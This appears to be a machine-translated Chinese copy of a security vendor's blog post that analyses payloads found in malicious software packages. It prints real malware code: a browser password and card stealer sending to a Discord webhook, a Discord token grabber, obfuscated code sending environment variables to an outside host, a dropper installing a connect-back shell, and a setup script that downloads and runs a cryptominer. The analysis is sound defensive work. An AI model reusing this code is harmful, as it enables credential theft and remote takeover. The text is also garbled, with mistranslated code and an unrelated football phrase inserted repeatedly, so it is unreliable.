攻击者在恶意软件包中植入的常见有效载荷

恶意软件包系列(3 / 4)

在恶意软件包系列的第三篇文章中,我们将重点关注成功攻击的后果以及攻击者如何通过各种现实场景执行有效负载来满足他们的需求。

在我们开始之前,让我们回顾一些会议亮点第二个帖子你可能错过了:

  • 攻击者使用一些常见的感染方法来传播恶意包——我们已经提到了其中的五种。
  • 感染方式包括误输入、伪装、木马包、依赖混淆或误命名、软件包劫持等。
  • JFrog的安全研究人员展示了在恶意包中发现的各种感染方法——他们进行了分析,并迅速向DevOps社区披露了这些方法。

现在,让我们开始本系列的第三篇博客

在成功攻击或感染恶意包后,攻击者通常希望执行满足其需求的有效负载。攻击者在恶意包中使用的大多数常见有效负载类型都利用了包的高度分布性。虽然在有针对性的供应链攻击中可能会使用一个独特的有效载荷,但通常机会主义攻击者只是试图利用、损害或窃取尽可能多的资源。2022世界杯阿根廷预选赛赛程在下面的示例中,我们将演示这种类型的恶意有效负载及其目的。

攻击者在恶意包中使用的常见有效负载示例

以下是攻击者在恶意包中植入的威胁性有效负载的五个现实场景。

负载场景1:浏览器保存的敏感数据窃取者

我们分析的第一个有效载荷是一个浏览器数据窃取程序。这个有效负载从现代浏览器的“自动完成”功能中窃取信用卡和密码。为了使自动完成工作,现代浏览器将以前输入的用户信息保存在其数据库中,例如地址、密码和信用卡信息。虽然保存信息对用户来说很方便,但它是恶意软件的主要目标。

在下面的代码片段中,我们可以看到恶意包的有效负载代码贵族阶级发现的JFrog安全研究人员于2021年7月表示。该恶意软件试图通过连接到Chrome浏览器的内部数据库并查询信用卡信息来窃取其信用卡信息。

defcs (): master_key = master() login_db = os。environ['USERPROFILE'] + os。sep + \ r' appdata \Local\Google\Chrome\User Data\default\Web Data' shutil。copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor。fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw(encrypted_password, master_key) expire_mon = r[2] expire_year = r[3] hook. execute("SELECT * FROM credit_cards")send(f“CARD-NAME:”+ username +“\nNUMBER:”+ decrypted_password +“\nEXPIRY:”+ str(expire_mon) +“\nEXPIRY:”+ str(expire_year) +“\n”+“*”* 10 +“\n”))

结果被上传到攻击者的Discord Webhook(一种简单的方法来获得自动消息和数据更新发送到私人服务器上的文本频道)。

同样的恶意程序包还试图从Edge浏览器数据库中窃取保存的密码:

Login_db = os。在viron['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data' ... cursor.execute("SELECT action_url, username_value, password_value FROM logins") decrypted_password = dpw(encrypted_password, master_key) if username != "" or decrypted_password != "": hook.send(f"URL: " + url + "\nUSER: " + username + "\nPASSWORD: " + decrypted_password + "\n" + "*" * 10 + "\n")

负载场景2:Discord令牌窃取负载

Discord令牌窃取有效负载试图窃取用户的Discord令牌,我们在以前的博客在本系列中攻击者使用这些被盗的Discord令牌登录受害者的Discord帐户,该帐户也可以用作未来攻击的代理。攻击者还可以利用被黑的Discord帐户向信任该被黑帐户的其他Discord用户传播恶意软件,或者当攻击者足够幸运地遇到高级帐户时,他们可以出售该帐户并从中获利。

下面是来自同一恶意包的示例贵族阶级我们已经分析过了,它的有效载荷不仅窃取了浏览器的敏感数据,还窃取了Discord令牌。窃取令牌的有效载荷是基础的D在臭名昭著的dTGPG(Discord Token Grabber Payload Generator)有效载荷。这是一个从未公开发布的生成器工具,但有效负载(个性化令牌抓取器)是公开共享的,一些示例也被上传到Github。Discord的认证令牌窃取代码非常简单-它迭代一组硬编码的路径:

local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') paths = {'Discord':漫游+ '\\Discord', 'Discord Canary':漫游+ '\\discordcanary', 'Discord PTB':漫游+ '\\discordptb', 'Google Chrome':本地+ '\\Google\\Chrome\\用户数据\\默认','Opera':漫游+ '\\Opera Software\\Opera Stable', 'Brave':本地+ '\\BraveSoftware\\Brave- browser \\用户数据\\默认','Yandex':本地+ '\\Yandex\\YandexBrowser\\用户数据\\默认'}

负载读取这些路径下的所有.log和.ldb文件,查找Discord身份验证令牌并通过Webhook将它们上传到Discord。

负载场景3:环境变量窃取器

有效负载窃取存储在环境变量中的信息是非常有趣和有用的。JFrog安全研究人员披露2021年12月,11个恶意软件包执行了环境变量盗窃。一个受害的攻击散布其中的大部分。这些包不包含任何合法功能,而是包含一小段恶意代码,即使被混淆也可以理解:

函数a0_0x2c5d(_0x3c5edd, _0x43388a) {const _0x5bc4a6 = a0_0x5bc4();Return a0_0x2c5d = function(_0x2c5dfc, _0x1206df) {_0x2c5dfc = _0x2c5dfc - 0x1bd;Let _0x2f5ef7 = _0x5bc4a6[_0x2c5dfc];返回_0x2f5ef7;}, a0_0x2c5d(_0x3c5edd, _0x43388a);}要求= http(“请求”)({“主机”:[“a5eb7b362adc824ed7d98433d8eae80a”、“米”,“白日梦”,“网”)(“加入 "]('.'), ' 路径 ': '/' + ( [“env”][“npm_package_name过程 "] || ''), ' 方法”:“POST”}),要求(“写”)(缓冲区(“的”)(JSON(函数”把“)(过程[' env ']))(“toString”)(“base64”),要求(“结束”)();

恶意软件简单地收集所有受害者进程的环境变量并将它们(作为base64编码的字符串)发送到a5eb7b362adc824ed7d98433d8eae80a.m.pipedream.net。

这是一个危险的负载,因为环境变量是保存运行时需要使用的秘密的主要位置(因为它们比将秘密保存在明文存储中或通过命令行变量传递秘密更安全)。

例如,AWS CLI支持通过环境变量获取AWS秘密访问密钥:

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY $ export AWS_DEFAULT_REGION=us-west-2

这些恶意软件包所针对的机器类型,即开发人员和CI/CD机器,很可能在用户环境中包含此类秘密和访问密钥。

有效负载场景4:connectback shell

connectback shell有效负载的目的是接收远程命令,以便在受害者的机器上执行。

在这个有效负载中,有三个步骤:

  1. 连接回攻击者的服务器
  2. 接收要执行的命令
  3. 将执行结果发送回服务器

JFrog安全研究人员发现并披露这两个恶意软件包在2022年2月使用了回接壳有效载荷。这两个包伪装成木马包,通过它们的“隐藏Linux中的Python进程”hide_process主API,但安装一个专门针对Linux目标机器。

hide_process调用API时,Python代码调用该函数release_elf哪一个替换文件/usr/sbin/syslogd内置ELF木马二进制文件:

elf_base32 = b" p5cuyrqcaeaaaaaaaaaaaaaaaaabaapqa…" elf_path = "/usr/sbin/syslogd" def release_elf(data,elf_path): try: elf_data = base64.b32decode(data) if os.path.exists(elf_path): os.remove(elf_path) with open(elf_path,"wb")as f: f.write(elf_data) os。System ("chown——reference=/usr/sbin/sysctl "+elf_path) os。System ("chmod——reference=/usr/sbin/sysctl "+elf_path) os。System ("touch -r /usr/sbin/sysctl "+elf_path)…elf_popen = Popen(elf_path+" -n",shell=True)

有趣的是,ELF作为base32字符串嵌入到Python脚本中。这种不常见的编码可能被用来逃避不需要这种编码的自动扫描器。

被丢弃的ELF非常小且不模糊,并执行以下操作-

  1. 连接到TCP 80端口,地址为“139.162.112.74”或“blog.mysecuritycamera.com”(以可用的为准)
  2. 接收命令字符串并使用popen
  3. 将执行结果发送回服务器
V6 = popen(a1, "r");// a1 =接收到的shell命令字符串if (v6) {while (fgets(v5, 4096LL, v6)) {v4 = strlen(v5);rc4_encrypt (__int64 v5, v4);//使用内部键"345asdflkasduf" if ((int)send(v7, v5, v4, 0LL) < 0)

有效载荷场景5:加密矿工有效载荷

加密矿工有效载荷使用受害者的系统资源来挖掘加密货币,由于恶意包攻击的性质,加密货币是恶意包中广泛存2022世界杯阿根廷预选赛赛程在的有效载荷类型。

大多数情况下,恶意软件包不会用于有针对性的攻击,而是通过传播给尽可能多的受害者我们提到的感染方法。因此,使用来自许多受害者的许多系统资源对于2022世界杯阿根廷预选赛赛程像加密货币矿工这样有利可图的有效载荷来说是一个好主意。

的有效负载maratlib包,我们检测到的另一个恶意包去年用一种受害的攻击

在下面的代码片段中,您可以看到,作为这个包的设置代码的一部分,它还下载并执行名为aza.sh

#编码:UTF-8导入系统…从setuptools导入setup print(__import__("subprocess")。getoutput("cd /tmp && wget https://github.com/nedog123/files/raw/main/aza.sh -O gay.sh && chmod 777 gay.sh && bash gay.sh")) setup(name="maratlib", version="0.6", description=l111_cringe_ (u"ࠧࡤࡷࡰࠫࠃ"),# Obfuscated string packages=[], author_email=l111_cringe_ (u"ࠨࡤࡃ࡫ࡲࡧࡩ࡭࠰ࡦࡳࡲ࠭ࠄ"),# Obfuscated string zip_safe=False)

我们可以看到这个bash脚本的代码,它下载并执行一个名为PhoenixMiner,挖掘一种名为Ubiq的加密货币:

wget https://github.com/nanopool/phoenix-miner/releases/download/4.2c/PhoenixMiner_4.2c_Linux.tar.gz tar xzf phoenixminer_4.2 . 2c_linux .tar.gz cd phoenixminer_4.2 . 2c_linux chmod +x PhoenixMiner && ./PhoenixMiner -coin ubq -wal 0x510aec7f266557b7de753231820571b13eb31b57/v2de4b8ab4 -pool ubq.kryptex.network:7000…

那么,既然我们已经讨论了恶意包攻击中使用的感染方法和有效载荷,我们将讨论攻击者在创建恶意包时的另一个主要兴趣:隐藏恶意代码。最后,我们还将讨论如何在开发生命周期的实际生活中检测恶意包,并为此提供几种实用技术,用于检测已知和未知的恶意包。

在您离开之前,请考虑哪些有效负载可能会影响您的DevSecOps,以及您可以做些什么来保护您喜爱的生态系统。

记住,总有更多的东西需要学习。注册JFrog 's即将到来的网络研讨会